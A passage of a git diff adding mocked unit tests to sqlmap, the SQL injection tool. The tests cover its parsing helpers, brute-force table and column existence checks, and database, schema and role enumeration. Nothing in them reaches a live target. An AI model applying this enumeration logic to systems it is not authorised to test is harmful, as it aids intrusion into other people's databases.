self.assertTrue(isListLike([1])) + self.assertTrue(isListLike((1,))) + self.assertTrue(isListLike(set([1]))) + self.assertFalse(isListLike("x")) + self.assertFalse(isListLike(5)) + + +class TestValueShaping(unittest.TestCase): + def test_filter_pair_values(self): + self.assertEqual(filterPairValues([[1, 2], [3], 1, [4, 5]]), [[1, 2], [4, 5]]) + self.assertEqual(filterPairValues(None), []) + + def test_filter_list_value(self): + self.assertEqual(filterListValue(["users", "admins", "logs"], r"(users|admins)"), + ["users", "admins"]) + # non-list input returned unchanged + self.assertEqual(filterListValue("notlist", r"x"), "notlist") + # no regex returns input + self.assertEqual(filterListValue(["a"], None), ["a"]) + + def test_filter_none(self): + self.assertEqual(filterNone([1, 2, "", None, 3, 0]), [1, 2, 3, 0]) + + def test_filter_string_value(self): + self.assertEqual(filterStringValue("wzydeadbeef0123#", r"[0-9a-f]"), "deadbeef0123") + + def test_un_arrayize_value(self): + self.assertEqual(unArrayizeValue(["1"]), "1") + self.assertEqual(unArrayizeValue("1"), "1") + self.assertEqual(unArrayizeValue(["1", "2"]), "1") + self.assertEqual(unArrayizeValue([["a", "b"], "c"]), "a") + self.assertIsNone(unArrayizeValue([])) + + def test_flatten_value(self): + self.assertEqual(list(flattenValue([["1"], [["2"], "3"]])), ["1", "2", "3"]) + + def test_arrayize_value(self): + self.assertEqual(arrayizeValue("1"), ["1"]) + self.assertEqual(arrayizeValue(["1"]), ["1"]) + + def test_join_value(self): + self.assertEqual(joinValue(["1", "2"]), "1,2") + self.assertEqual(joinValue("1"), "1") + self.assertEqual(joinValue(["1", None]), "1,None") + + +class TestZeroDepthAndSplit(unittest.TestCase): + def test_zero_depth_search_skips_parens(self): + expr = "SELECT (SELECT id FROM users WHERE 2>1) AS r FROM DUAL" + idx = zeroDepthSearch(expr, " FROM ") + # only the outer top-level FROM is found, not the one inside the subselect + self.assertEqual(len(idx), 1) + self.assertTrue(expr[idx[0]:].startswith(" FROM DUAL")) + + def test_zero_depth_search_ignores_quoted(self): + expr = "a , 'b , c' , d" + # commas inside the quoted literal are not reported + self.assertEqual(len(zeroDepthSearch(expr, ",")), 2) + + def test_split_fields_basic(self): + self.assertEqual(splitFields("foo, bar, max(foo, bar)"), + ["foo", "bar", "max(foo,bar)"]) + + def test_split_fields_quoted(self): + self.assertEqual(splitFields("a, 'b, c', d"), ["a", "'b, c'", "d"]) + + def test_split_fields_custom_delimiter(self): + self.assertEqual(splitFields("a; b; max(c; d)", delimiter=";"), + ["a", "b", "max(c;d)"]) + + +class TestAliasToDbmsEnum(unittest.TestCase): + def test_known_aliases(self): + self.assertEqual(aliasToDbmsEnum("mssql"), DBMS.MSSQL) + self.assertEqual(aliasToDbmsEnum("mysql"), DBMS.MYSQL) + self.assertEqual(aliasToDbmsEnum("postgres"), DBMS.PGSQL) + + def test_unknown_alias_returns_none(self): + self.assertIsNone(aliasToDbmsEnum("definitely_not_a_dbms")) + + def test_empty_returns_none(self): + self.assertIsNone(aliasToDbmsEnum("")) + + +class TestGetPageWordSet(unittest.TestCase): + def test_word_extraction(self): + words = getPageWordSet(u"foobartest") + self.assertEqual(sorted(words), [u"foobar", u"test"]) + + def test_non_string_returns_empty(self): + self.assertEqual(getPageWordSet(None), set()) + + +class TestNormalizeUnicode(unittest.TestCase): + def test_accents_stripped(self): + # normalizeUnicode collapses accented chars to their ASCII base + self.assertEqual(normalizeUnicode(u"éè"), "ee") + + def test_plain_ascii_unchanged(self): + self.assertEqual(normalizeUnicode(u"abc123"), "abc123") + + def test_none_returns_none(self): + self.assertIsNone(normalizeUnicode(None)) + + +class TestResetCookieJar(unittest.TestCase): + """resetCookieJar's clear branch (conf.loadCookies falsy).""" + + def setUp(self): + self._loadCookies = conf.loadCookies + conf.loadCookies = None + + def tearDown(self): + conf.loadCookies = self._loadCookies + + def test_clear_branch(self): + try: + from http.cookiejar import CookieJar + except ImportError: # Python 2 + from cookielib import CookieJar + + jar = CookieJar() + cleared = {"called": False} + + class _Jar(object): + def clear(self): + cleared["called"] = True + + resetCookieJar(_Jar()) + self.assertTrue(cleared["called"]) + # also accepts a real jar without raising + self.assertIsNone(resetCookieJar(jar)) + + +# --------------------------------------------------------------------------- # +# lib/utils/brute.py +# --------------------------------------------------------------------------- # + +import lib.utils.brute as brute +from lib.request import inject +import lib.core.threads as threads_mod +import lib.core.common as common_mod + + +class TestBrute(DbmsStateMixin, unittest.TestCase): + """Drive tableExists / columnExists with all external collaborators stubbed. + + conf.direct=True skips the time/stacked recommendation prompt. checkBooleanExpression, + getFileItems and runThreads are monkeypatched so the check runs synchronously, + deterministically and offline. getPageWordSet is neutralized so the wordlist is + just what the stub returns. + """ + + def setUp(self): + DbmsStateMixin.setUp(self) + self._saved_conf = {k: conf.get(k) for k in + ("direct", "db", "tbl", "threads", "api", "verbose")} + self._choices = kb.choices + self._cachedTables = kb.data.get("cachedTables") + self._cachedColumns = kb.data.get("cachedColumns") + self._brute = kb.brute + self._origPage = kb.originalPage + + # stub the collaborators + self._orig_cbe = inject.checkBooleanExpression + self._orig_brute_cbe = brute.inject.checkBooleanExpression + self._orig_getFileItems = brute.getFileItems + self._orig_runThreads = brute.runThreads + self._orig_getPageWordSet = brute.getPageWordSet + + from lib.core.datatype import AttribDict + kb.choices = AttribDict(keycheck=False) + kb.choices.tableExists = None + kb.choices.columnExists = None + kb.data.cachedTables = {} + kb.data.cachedColumns = {} + kb.brute = AttribDict({"tables": [], "columns": []}) + kb.originalPage = None + + conf.direct = True + conf.db = None + conf.threads = 1 + conf.api = False + conf.verbose = 0 + + # runThreads -> just call the worker once synchronously + def _fakeRunThreads(numThreads, threadFunction, *args, **kwargs): + kb.threadContinue = True + threadFunction() + brute.runThreads = _fakeRunThreads + # no page words injected into the wordlist + brute.getPageWordSet = lambda page: set() + # wordlist file -> small fixed list + brute.getFileItems = lambda *a, **k: ["users", "logs", "secret_t"] + + def tearDown(self): + for k, v in self._saved_conf.items(): + conf[k] = v + kb.choices = self._choices + if self._cachedTables is None: + kb.data.pop("cachedTables", None) + else: + kb.data.cachedTables = self._cachedTables + if self._cachedColumns is None: + kb.data.pop("cachedColumns", None) + else: + kb.data.cachedColumns = self._cachedColumns + kb.brute = self._brute + kb.originalPage = self._origPage + brute.inject.checkBooleanExpression = self._orig_brute_cbe + brute.getFileItems = self._orig_getFileItems + brute.runThreads = self._orig_runThreads + brute.getPageWordSet = self._orig_getPageWordSet + DbmsStateMixin.tearDown(self) + + def test_table_exists_collects_true_results(self): + set_dbms(DBMS.MYSQL) + + def _cbe(expression, expectingNone=True): + # initial sanity probe (random table) -> must be False, otherwise the + # function raises SqlmapDataException; then only "users" exists. + return "users" in expression + brute.inject.checkBooleanExpression = _cbe + + result = brute.tableExists("/nonexistent/tables.txt") + # cachedTables keyed by conf.db (None here) holds the discovered table + self.assertIn(None, result) + self.assertIn("users", result[None]) + self.assertNotIn("logs", result.get(None, [])) + # also recorded in kb.brute.tables as (db, table) + self.assertIn((None, "users"), kb.brute.tables) + + def test_table_exists_invalid_results_raises(self): + from lib.core.exception import SqlmapDataException + set_dbms(DBMS.MYSQL) + # the initial random-table probe returns True -> "invalid results" guard + brute.inject.checkBooleanExpression = lambda *a, **k: True + with self.assertRaises(SqlmapDataException): + brute.tableExists("/nonexistent/tables.txt") + + def test_column_exists_requires_table(self): + from lib.core.exception import SqlmapMissingMandatoryOptionException + set_dbms(DBMS.MYSQL) + conf.tbl = None + # the sanity probe is False so we reach the missing-table guard + brute.inject.checkBooleanExpression = lambda *a, **k: False + with self.assertRaises(SqlmapMissingMandatoryOptionException): + brute.columnExists("/nonexistent/columns.txt") + + def test_column_exists_collects_and_types(self): + set_dbms(DBMS.MYSQL) + conf.tbl = "users" + brute.getFileItems = lambda *a, **k: ["id", "name"] + + calls = {"n": 0} + + def _cbe(expression, expectingNone=True): + calls["n"] += 1 + # initial sanity probe uses two random strings (no real column name) + if "id" not in expression and "name" not in expression: + return False + # MySQL numeric-type follow-up: `not checkBooleanExpression(... REGEXP '[^0-9]')`. + # 'id' is numeric (no non-digit chars => probe False => numeric); + # 'name' is non-numeric (has non-digit chars => probe True => non-numeric). + if "REGEXP" in expression: + return "name" in expression + # plain existence check (EXISTS(SELECT FROM )) => both columns exist + return True + brute.inject.checkBooleanExpression = _cbe + + result = brute.columnExists("/nonexistent/columns.txt") + self.assertIn(None, result) + cols = result[None]["users"] + # column names are run through safeSQLIdentificatorNaming, so the MySQL + # reserved word "name" comes back backtick-quoted + from lib.core.common import safeSQLIdentificatorNaming, getText + self.assertEqual(cols.get(getText(safeSQLIdentificatorNaming("id"))), "numeric") + self.assertEqual(cols.get(getText(safeSQLIdentificatorNaming("name"))), "non-numeric") + + def test_add_page_text_words_filters(self): + # restore the real getPageWordSet for this one and drive it directly + brute.getPageWordSet = self._orig_getPageWordSet + kb.originalPage = u"admin password 1abc xy verylongword" + words = brute._addPageTextWords() + # words <= 2 chars or starting with a digit are dropped + self.assertIn("admin", words) + self.assertIn("password", words) + self.assertNotIn("xy", words) + self.assertNotIn("1abc", words) + + +if __name__ == "__main__": + unittest.main(verbosity=2) diff --git a/tests/test_databases_enum.py b/tests/test_databases_enum.py new file mode 100644 index 000000000..323a4a728 --- /dev/null +++ b/tests/test_databases_enum.py @@ -0,0 +1,511 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Unit tests for the enumeration methods of plugins/generic/databases.py. + +The injection layer (lib.request.inject.getValue) is mocked so no network or +live DBMS is required; each test drives a single enumeration method down a +specific branch (conf.direct "inband" path or the isInferenceAvailable() blind +path) and asserts on the returned value / kb.data.cached* state. + +CRITICAL: every test restores conf.*, the patched dbmod.inject.getValue, and the +mutated kb.data flags in tearDown so global state does not leak into the rest of +the suite. +""" + +import os +import sys +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap, set_dbms + +bootstrap() + +from lib.core.data import conf, kb +from lib.core.enums import EXPECTED, PAYLOAD +import plugins.generic.databases as dbmod +from plugins.generic.databases import Databases + +# Databases.forceDbmsEnum() is supplied at runtime by the concrete dbms fingerprint +# plugin mixin (plugins/dbms/*/fingerprint.py); a bare Databases() instance lacks it, +# so neutralize it for the duration of these tests. Restored in tearDown via the saved ref. +_NOOP = lambda self: None + + +class _BaseEnumTest(unittest.TestCase): + """Shared setup/teardown that snapshots and restores all touched global state.""" + + # conf keys every test may read/write + _CONF_KEYS = ("direct", "technique", "db", "tbl", "col", "exclude", + "getComments", "excludeSysDbs", "search", "freshQueries") + + def setUp(self): + self._saved_conf = {k: conf.get(k) for k in self._CONF_KEYS} + self._saved_getValue = dbmod.inject.getValue + self._saved_injection_data = kb.injection.data + self._saved_has_is = kb.data.get("has_information_schema") + # the inference paths of getTables/getColumns set kb.hintValue as a side effect; + # snapshot it so we never leak a stale hint into other test files (e.g. the + # inference engine's tryHint(), whose setUp does not reset it). + self._saved_hintValue = kb.get("hintValue") + self._saved_forceDbmsEnum = getattr(Databases, "forceDbmsEnum", None) + Databases.forceDbmsEnum = _NOOP + + # sane defaults shared by most tests + conf.getComments = False + conf.excludeSysDbs = False + conf.exclude = None + conf.search = False + conf.freshQueries = False + conf.col = None + kb.data.has_information_schema = True + + def tearDown(self): + for k, v in self._saved_conf.items(): + conf[k] = v + dbmod.inject.getValue = self._saved_getValue + kb.injection.data = self._saved_injection_data + kb.data.has_information_schema = self._saved_has_is + kb.hintValue = self._saved_hintValue + if self._saved_forceDbmsEnum is not None: + Databases.forceDbmsEnum = self._saved_forceDbmsEnum + else: + try: + del Databases.forceDbmsEnum + except AttributeError: + pass + + # helpers ----------------------------------------------------------------- + + def _fresh(self): + """Return a Databases() instance with every cache reset to empty.""" + d = Databases() + kb.data.currentDb = "" + kb.data.cachedDbs = [] + kb.data.cachedTables = {} + kb.data.cachedColumns = {} + kb.data.cachedCounts = {} + kb.data.cachedStatements = [] + kb.data.cachedProcedures = [] + return d + + def _enable_inference(self): + """Take the blind inference branch: conf.direct off, a BOOLEAN technique present.""" + conf.direct = False + conf.technique = None + kb.injection.data = {PAYLOAD.TECHNIQUE.BOOLEAN: {"title": "AND boolean-based blind"}} + + +class TestGetCurrentDb(_BaseEnumTest): + def test_current_db_mysql(self): + set_dbms("MySQL") + conf.direct = True + d = self._fresh() + dbmod.inject.getValue = lambda query, *a, **k: "testdb" + self.assertEqual(d.getCurrentDb(), "testdb") + self.assertEqual(kb.data.currentDb, "testdb") + + def test_current_db_cached(self): + set_dbms("MySQL") + conf.direct = True + d = self._fresh() + kb.data.currentDb = "already" + + def _boom(*a, **k): + raise AssertionError("inject.getValue must not be called when currentDb is cached") + + dbmod.inject.getValue = _boom + self.assertEqual(d.getCurrentDb(), "already") + + def test_current_db_oracle_schema_warning_branch(self): + # Oracle takes the schema-name warning branch; result still returned. + set_dbms("Oracle") + conf.direct = True + d = self._fresh() + dbmod.inject.getValue = lambda query, *a, **k: "SYSTEM" + self.assertEqual(d.getCurrentDb(), "SYSTEM") + + +class TestGetDbs(_BaseEnumTest): + def test_get_dbs_direct_mysql(self): + set_dbms("MySQL") + conf.direct = True + d = self._fresh() + dbmod.inject.getValue = lambda query, *a, **k: [["information_schema"], ["mysql"], ["testdb"]] + result = d.getDbs() + self.assertEqual(sorted(result), ["information_schema", "mysql", "testdb"]) + self.assertIn("testdb", kb.data.cachedDbs) + + def test_get_dbs_cached_short_circuit(self): + set_dbms("MySQL") + conf.direct = True + d = self._fresh() + kb.data.cachedDbs = ["pre", "cached"] + + def _boom(*a, **k): + raise AssertionError("must not query when cachedDbs is populated") + + dbmod.inject.getValue = _boom + self.assertEqual(d.getDbs(), ["pre", "cached"]) + + def test_get_dbs_direct_pgsql_schema_branch(self): + set_dbms("PostgreSQL") + conf.direct = True + d = self._fresh() + dbmod.inject.getValue = lambda query, *a, **k: [["public"], ["information_schema"]] + result = d.getDbs() + self.assertEqual(sorted(result), ["information_schema", "public"]) + + def test_get_dbs_mysql_no_information_schema(self): + # MySQL < 5: query2 / count2 branch; still inband under conf.direct. + set_dbms("MySQL") + conf.direct = True + d = self._fresh() + kb.data.has_information_schema = False + dbmod.inject.getValue = lambda query, *a, **k: [["mysql"], ["app"]] + result = d.getDbs() + self.assertEqual(sorted(result), ["app", "mysql"]) + + def test_get_dbs_inference(self): + set_dbms("MySQL") + self._enable_inference() + d = self._fresh() + + names = ["alpha", "beta", "gamma"] + state = {"i": 0} + + def gv(query, *a, **k): + if k.get("expected") == EXPECTED.INT: + return str(len(names)) + val = names[state["i"]] + state["i"] += 1 + return [val] + + dbmod.inject.getValue = gv + result = d.getDbs() + self.assertEqual(sorted(result), sorted(names)) + + def test_get_dbs_fallback_to_current(self): + # No dbs returned inband -> falls back to current database. + set_dbms("MySQL") + conf.direct = True + d = self._fresh() + state = {"n": 0} + + def gv(query, *a, **k): + state["n"] += 1 + if state["n"] == 1: + return None # getDbs inband: nothing + return "fallbackdb" # getCurrentDb + + dbmod.inject.getValue = gv + result = d.getDbs() + self.assertEqual(result, ["fallbackdb"]) + + +class TestGetTables(_BaseEnumTest): + def test_get_tables_direct_mysql(self): + set_dbms("MySQL") + conf.direct = True + d = self._fresh() + conf.db = "testdb" + conf.tbl = None + dbmod.inject.getValue = lambda query, *a, **k: [["testdb", "users"], ["testdb", "posts"]] + result = d.getTables() + self.assertIn("testdb", result) + self.assertEqual(sorted(result["testdb"]), ["posts", "users"]) + + def test_get_tables_cached_short_circuit(self): + set_dbms("MySQL") + conf.direct = True + d = self._fresh() + kb.data.cachedTables = {"db": ["t1"]} + + def _boom(*a, **k): + raise AssertionError("must not query when cachedTables is populated") + + dbmod.inject.getValue = _boom + self.assertEqual(d.getTables(), {"db": ["t1"]}) + + def test_get_tables_direct_pgsql(self): + set_dbms("PostgreSQL") + conf.direct = True + d = self._fresh() + conf.db = "public" + conf.tbl = None + dbmod.inject.getValue = lambda query, *a, **k: [["public", "accounts"]] + result = d.getTables() + self.assertEqual(result.get("public"), ["accounts"]) + + def test_get_tables_inference(self): + set_dbms("MySQL") + self._enable_inference() + d = self._fresh() + conf.db = "testdb" + conf.tbl = None + + tables = ["t_a", "t_b"] + state = {"i": 0} + + def gv(query, *a, **k): + if k.get("expected") == EXPECTED.INT: + return str(len(tables)) + val = tables[state["i"] % len(tables)] + state["i"] += 1 + return [val] + + dbmod.inject.getValue = gv + result = d.getTables() + self.assertIn("testdb", result) + self.assertEqual(sorted(result["testdb"]), sorted(tables)) + + +class TestGetColumns(_BaseEnumTest): + def _run_direct(self, dbms, db, tbl, rows): + set_dbms(dbms) + conf.direct = True + d = self._fresh() + conf.db = db + conf.tbl = tbl + dbmod.inject.getValue = lambda query, *a, **k: rows + return d.getColumns() + + def test_columns_direct_mysql(self): + result = self._run_direct("MySQL", "testdb", "users", [["id", "int"], ["age", "int"]]) + self.assertIn("testdb", result) + cols = result["testdb"]["users"] + self.assertEqual(cols.get("id"), "int") + self.assertEqual(cols.get("age"), "int") + + def test_columns_direct_pgsql(self): + result = self._run_direct("PostgreSQL", "public", "users", [["id", "integer"]]) + self.assertEqual(result["public"]["users"].get("id"), "integer") + + def test_columns_direct_oracle_uppercase(self): + # Oracle is an UPPER_CASE dbms: conf.db/tbl get upcased internally. + result = self._run_direct("Oracle", "system", "users", [["ID", "NUMBER"]]) + # Oracle quotes the identifier ("SYSTEM"); assert the column landed regardless. + flat = {} + for tables in result.values(): + for cols in tables.values(): + flat.update(cols) + self.assertEqual(flat.get("ID"), "NUMBER") + + def test_columns_direct_mssql(self): + result = self._run_direct("Microsoft SQL Server", "master", "users", [["id", "int"]]) + # MSSQL wraps the db identifier in [brackets]; assert the column landed. + flat = {} + for tables in result.values(): + for cols in tables.values(): + flat.update(cols) + self.assertEqual(flat.get("id"), "int") + + def test_columns_only_names(self): + # onlyColNames is ONLY read in the inference branch (the INBAND path + # ignores it), so drive the blind inference path like + # test_columns_inference_mysql but with onlyColNames=True. The flag must + # SUPPRESS the type lookup: each column's value lands as None instead of + # the real type. Asserting cols.get("id") is None proves the flag took + # effect (otherwise the type query would run and return "int"). + set_dbms("MySQL") + self._enable_inference() + d = self._fresh() + conf.db = "testdb" + conf.tbl = "users" + + colnames = ["id", "name"] + state = {"i": 0} + type_queries = {"n": 0} + + def gv(query, *a, **k): + if k.get("expected") == EXPECTED.INT: + return str(len(colnames)) + # With onlyColNames the second-stage type query (blind.query2, which + # selects column_type) must NEVER be issued. + if "column_type" in query.lower(): + type_queries["n"] += 1 + return ["int"] + val = colnames[state["i"] % len(colnames)] + state["i"] += 1 + return [val] + + dbmod.inject.getValue = gv + result = d.getColumns(onlyColNames=True) + cols = result["testdb"]["users"] + # both column names enumerated... + self.assertEqual(len(cols), len(colnames)) + self.assertIn("id", cols) + # ...but their types were suppressed (None), and no type query ran. + self.assertIsNone(cols.get("id")) + self.assertEqual(type_queries["n"], 0) + + def test_columns_inference_mysql(self): + set_dbms("MySQL") + self._enable_inference() + d = self._fresh() + conf.db = "testdb" + conf.tbl = "users" + + colnames = ["id", "name"] + state = {"i": 0, "names": True} + + def gv(query, *a, **k): + if k.get("expected") == EXPECTED.INT: + return str(len(colnames)) + # alternate: column name then its type + if state["names"]: + val = colnames[state["i"] % len(colnames)] + state["i"] += 1 + state["names"] = False + return [val] + else: + state["names"] = True + return ["int"] + + dbmod.inject.getValue = gv + result = d.getColumns() + self.assertIn("testdb", result) + cols = result["testdb"]["users"] + # both columns enumerated (reserved words like "name" get quoted, so count, not exact keys) + self.assertEqual(len(cols), len(colnames)) + self.assertEqual(cols.get("id"), "int") + + +class TestGetCount(_BaseEnumTest): + def test_count_single_table_mysql(self): + set_dbms("MySQL") + conf.direct = True + d = self._fresh() + conf.db = "testdb" + conf.tbl = "users" + dbmod.inject.getValue = lambda query, *a, **k: "42" + result = d.getCount() + self.assertEqual(result, {"testdb": {42: ["users"]}}) + + def test_count_dotted_table_splits_db(self): + set_dbms("MySQL") + conf.direct = True + d = self._fresh() + conf.db = None + conf.tbl = "shop.orders" + dbmod.inject.getValue = lambda query, *a, **k: "7" + result = d.getCount() + self.assertEqual(result, {"shop": {7: ["orders"]}}) + + def test_count_multiple_tables(self): + set_dbms("MySQL") + conf.direct = True + d = self._fresh() + conf.db = "testdb" + conf.tbl = "users,posts" + counts = {"users": "3", "posts": "5"} + + def gv(query, *a, **k): + # the table name appears in the FROM clause of the generated query + for t, c in counts.items(): + if t in query: + return c + return "0" + + dbmod.inject.getValue = gv + result = d.getCount() + self.assertIn("testdb", result) + self.assertIn("users", result["testdb"][3]) + self.assertIn("posts", result["testdb"][5]) + + +class TestGetStatements(_BaseEnumTest): + def test_statements_direct_mysql(self): + set_dbms("MySQL") + conf.direct = True + d = self._fresh() + dbmod.inject.getValue = lambda query, *a, **k: [["SELECT 1"], ["SELECT 2"]] + result = d.getStatements() + self.assertEqual(sorted(result), ["SELECT 1", "SELECT 2"]) + + def test_statements_direct_pgsql(self): + set_dbms("PostgreSQL") + conf.direct = True + d = self._fresh() + dbmod.inject.getValue = lambda query, *a, **k: [["SELECT now()"]] + result = d.getStatements() + self.assertEqual(result, ["SELECT now()"]) + + def test_statements_inference(self): + set_dbms("PostgreSQL") + self._enable_inference() + d = self._fresh() + stmts = ["SELECT a", "SELECT b"] + state = {"i": 0} + + def gv(query, *a, **k): + if k.get("expected") == EXPECTED.INT: + return str(len(stmts)) + val = stmts[state["i"] % len(stmts)] + state["i"] += 1 + return [val] + + dbmod.inject.getValue = gv + result = d.getStatements() + self.assertEqual(sorted(result), sorted(stmts)) + + +class TestGetSchema(_BaseEnumTest): + def test_schema_mysql(self): + set_dbms("MySQL") + conf.direct = True + d = self._fresh() + conf.db = "testdb" + conf.tbl = None + conf.col = None + state = {"n": 0} + + def gv(query, *a, **k): + state["n"] += 1 + if state["n"] == 1: + # getTables call + return [["testdb", "users"]] + # getColumns call + return [["id", "int"]] + + dbmod.inject.getValue = gv + result = d.getSchema() + self.assertIn("testdb", result) + self.assertIn("users", result["testdb"]) + self.assertEqual(result["testdb"]["users"].get("id"), "int") + + +class TestGetProcedures(_BaseEnumTest): + def test_procedures_direct_pgsql(self): + set_dbms("PostgreSQL") + conf.direct = True + d = self._fresh() + dbmod.inject.getValue = lambda query, *a, **k: [["proc_a"], ["proc_b"]] + result = d.getProcedures() + self.assertEqual(sorted(result), ["proc_a", "proc_b"]) + + def test_procedures_inference_mysql(self): + set_dbms("MySQL") + self._enable_inference() + d = self._fresh() + procs = ["sp_one", "sp_two"] + state = {"i": 0} + + def gv(query, *a, **k): + if k.get("expected") == EXPECTED.INT: + return str(len(procs)) + val = procs[state["i"] % len(procs)] + state["i"] += 1 + return [val] + + dbmod.inject.getValue = gv + result = d.getProcedures() + self.assertEqual(sorted(result), sorted(procs)) + + +if __name__ == "__main__": + unittest.main() diff --git a/tests/test_dbms_enum.py b/tests/test_dbms_enum.py new file mode 100644 index 000000000..8188f3c0e --- /dev/null +++ b/tests/test_dbms_enum.py @@ -0,0 +1,98 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +DBMS-specific enumeration overrides (plugins/dbms//enumeration.py), +driven through each full DBMS handler with the injection layer mocked, so the +dialect-specific table/column discovery paths run without a live target. The +in-band (UNION/error/direct) branch is taken via conf.direct=True and +inject.getValue is stubbed with canned result rows. +""" + +import os +import sys +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap, set_dbms +bootstrap() + +from lib.core.data import conf, kb +from lib.core.enums import EXPECTED + + +class _EnumBase(unittest.TestCase): + """Snapshot/restore the global state these enumerators mutate.""" + module = None # the enumeration module whose inject.getValue we patch + + def setUp(self): + self._direct = conf.direct + self._db = conf.db + self._gv = self.module.inject.getValue + self._cachedTables = kb.data.get("cachedTables") + self._cachedColumns = kb.data.get("cachedColumns") + conf.direct = True + kb.data.cachedTables = {} + kb.data.cachedColumns = {} + + def tearDown(self): + conf.direct = self._direct + conf.db = self._db + self.module.inject.getValue = self._gv + kb.data.cachedTables = self._cachedTables + kb.data.cachedColumns = self._cachedColumns + + +class TestMSSQLServerEnum(_EnumBase): + import plugins.dbms.mssqlserver.enumeration as module + + def _handler(self): + from plugins.dbms.mssqlserver import MSSQLServerMap + set_dbms("Microsoft SQL Server") + return MSSQLServerMap() + + def test_get_tables(self): + # one database (conf.db), single-column rows: getTables keys the cache by + # the db loop variable and stores the rows run through + # arrayize -> unArrayize -> safeSQLIdentificatorNaming -> sorted(). + conf.db = "appdb" + self.module.inject.getValue = lambda q, *a, **k: ( + 3 if k.get("expected") == EXPECTED.INT else [["users"], ["products"], ["customers"]] + ) + self._handler().getTables() + tables = kb.data.cachedTables + self.assertEqual(list(tables.keys()), ["appdb"]) + stored = tables["appdb"] + # value is a real sorted list (the final sort step), not an echo of input + self.assertEqual(stored, sorted(stored)) + # MSSQL qualifies bare names with the dbo schema; assert exact membership + self.assertIn("dbo.users", stored) + self.assertEqual(stored, ["dbo.customers", "dbo.products", "dbo.users"]) + + def test_get_tables_multiple_dbs(self): + # exercise the per-database keying with two DBs (conf.db = "a,b"): each db + # in the loop gets its OWN sorted table list. Rows are single-column; + # unArrayizeValue collapses each 1-tuple row to the scalar table name. + conf.db = "appdb,salesdb" + + def getValue(q, *a, **k): + if k.get("expected") == EXPECTED.INT: + return 3 + # the query carries the db name (%s substituted); route per database + if "appdb" in q: + return [["users"], ["sessions"], ["accounts"]] + return [["orders"], ["invoices"]] + + self.module.inject.getValue = getValue + self._handler().getTables() + tables = kb.data.cachedTables + # exactly the two requested databases, each mapped to its own sorted list + self.assertEqual(sorted(tables.keys()), ["appdb", "salesdb"]) + self.assertEqual(tables["appdb"], ["dbo.accounts", "dbo.sessions", "dbo.users"]) + self.assertEqual(tables["salesdb"], ["dbo.invoices", "dbo.orders"]) + + +if __name__ == "__main__": + unittest.main() diff --git a/tests/test_dbms_enum_a.py b/tests/test_dbms_enum_a.py new file mode 100644 index 000000000..4c9948fd1 --- /dev/null +++ b/tests/test_dbms_enum_a.py @@ -0,0 +1,215 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +DBMS-specific enumeration overrides for Oracle, PostgreSQL, MySQL and SQLite +(plugins/dbms//enumeration.py), driven through each full DBMS handler with +the injection layer mocked, so the dialect-specific discovery paths run without a +live target. The in-band (UNION/error/direct) branch is taken via conf.direct=True +and inject.getValue is stubbed with canned result rows. + +Companion to tests/test_dbms_enum.py (which covers Microsoft SQL Server). +""" + +import importlib +import os +import sys +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap, set_dbms +bootstrap() + +from lib.core.common import Backend +from lib.core.data import conf, kb +from lib.core.enums import EXPECTED +from lib.core.exception import SqlmapUnsupportedFeatureException + + +class _EnumBase(unittest.TestCase): + """Snapshot/restore the global state these enumerators mutate. + + Other tests in the suite depend on clean globals (a leaked kb.hintValue + breaks test_inference_engine; a leaked forced DBMS breaks others), so every + knob touched here is captured in setUp and put back in tearDown. + """ + + # the enumeration module whose inject.getValue we patch (overridden per DBMS) + module = None + + def setUp(self): + # conf knobs + self._direct = conf.direct + self._batch = conf.batch + self._user = conf.user + self._db = conf.get("db") + self._tbl = conf.get("tbl") + self._exclude = conf.get("exclude") + + # injection layer (some override modules - e.g. SQLite/PostgreSQL - do not + # import inject because their overrides return constants without querying) + self._has_inject = hasattr(self.module, "inject") + if self._has_inject: + self._gv = self.module.inject.getValue + + # kb.data cached* containers + self._cachedTables = kb.data.get("cachedTables") + self._cachedColumns = kb.data.get("cachedColumns") + self._cachedDbs = kb.data.get("cachedDbs") + self._cachedUsers = kb.data.get("cachedUsers") + self._cachedUsersRoles = kb.data.get("cachedUsersRoles") + self._cachedUsersPrivileges = kb.data.get("cachedUsersPrivileges") + self._has_information_schema = kb.data.get("has_information_schema") + + # state other tests are sensitive to + self._hintValue = kb.hintValue + self._injectionData = kb.injection.data + self._forcedDbms = Backend.getForcedDbms() + self._stickyDBMS = kb.stickyDBMS + + # avoid readInput EOFError flakiness and interactive prompts + conf.direct = True + conf.batch = True + + def tearDown(self): + conf.direct = self._direct + conf.batch = self._batch + conf.user = self._user + conf.db = self._db + conf.tbl = self._tbl + conf.exclude = self._exclude + + if self._has_inject: + self.module.inject.getValue = self._gv + + kb.data.cachedTables = self._cachedTables + kb.data.cachedColumns = self._cachedColumns + kb.data.cachedDbs = self._cachedDbs + kb.data.cachedUsers = self._cachedUsers + kb.data.cachedUsersRoles = self._cachedUsersRoles + kb.data.cachedUsersPrivileges = self._cachedUsersPrivileges + kb.data.has_information_schema = self._has_information_schema + + kb.hintValue = self._hintValue + kb.injection.data = self._injectionData + kb.stickyDBMS = self._stickyDBMS + if self._forcedDbms is not None: + Backend.forceDbms(self._forcedDbms) + else: + kb.forcedDbms = None + + +class TestOracleEnum(_EnumBase): + module = importlib.import_module("plugins.dbms.oracle.enumeration") + + def _handler(self): + from plugins.dbms.oracle import OracleMap + set_dbms("Oracle") + return OracleMap() + + def test_get_roles(self): + # rows are [GRANTEE, GRANTED_ROLE]; first column is the user, the rest roles + conf.user = None + kb.data.cachedUsersRoles = {} + self.module.inject.getValue = lambda q, *a, **k: [ + ["SYS", "DBA"], ["SYS", "CONNECT"], ["SCOTT", "RESOURCE"] + ] + roles, areAdmins = self._handler().getRoles() + self.assertIn("SYS", roles) + self.assertIn("SCOTT", roles) + self.assertEqual(set(roles["SYS"]), {"DBA", "CONNECT"}) + # DBA implies administrator + self.assertIn("SYS", areAdmins) + + def 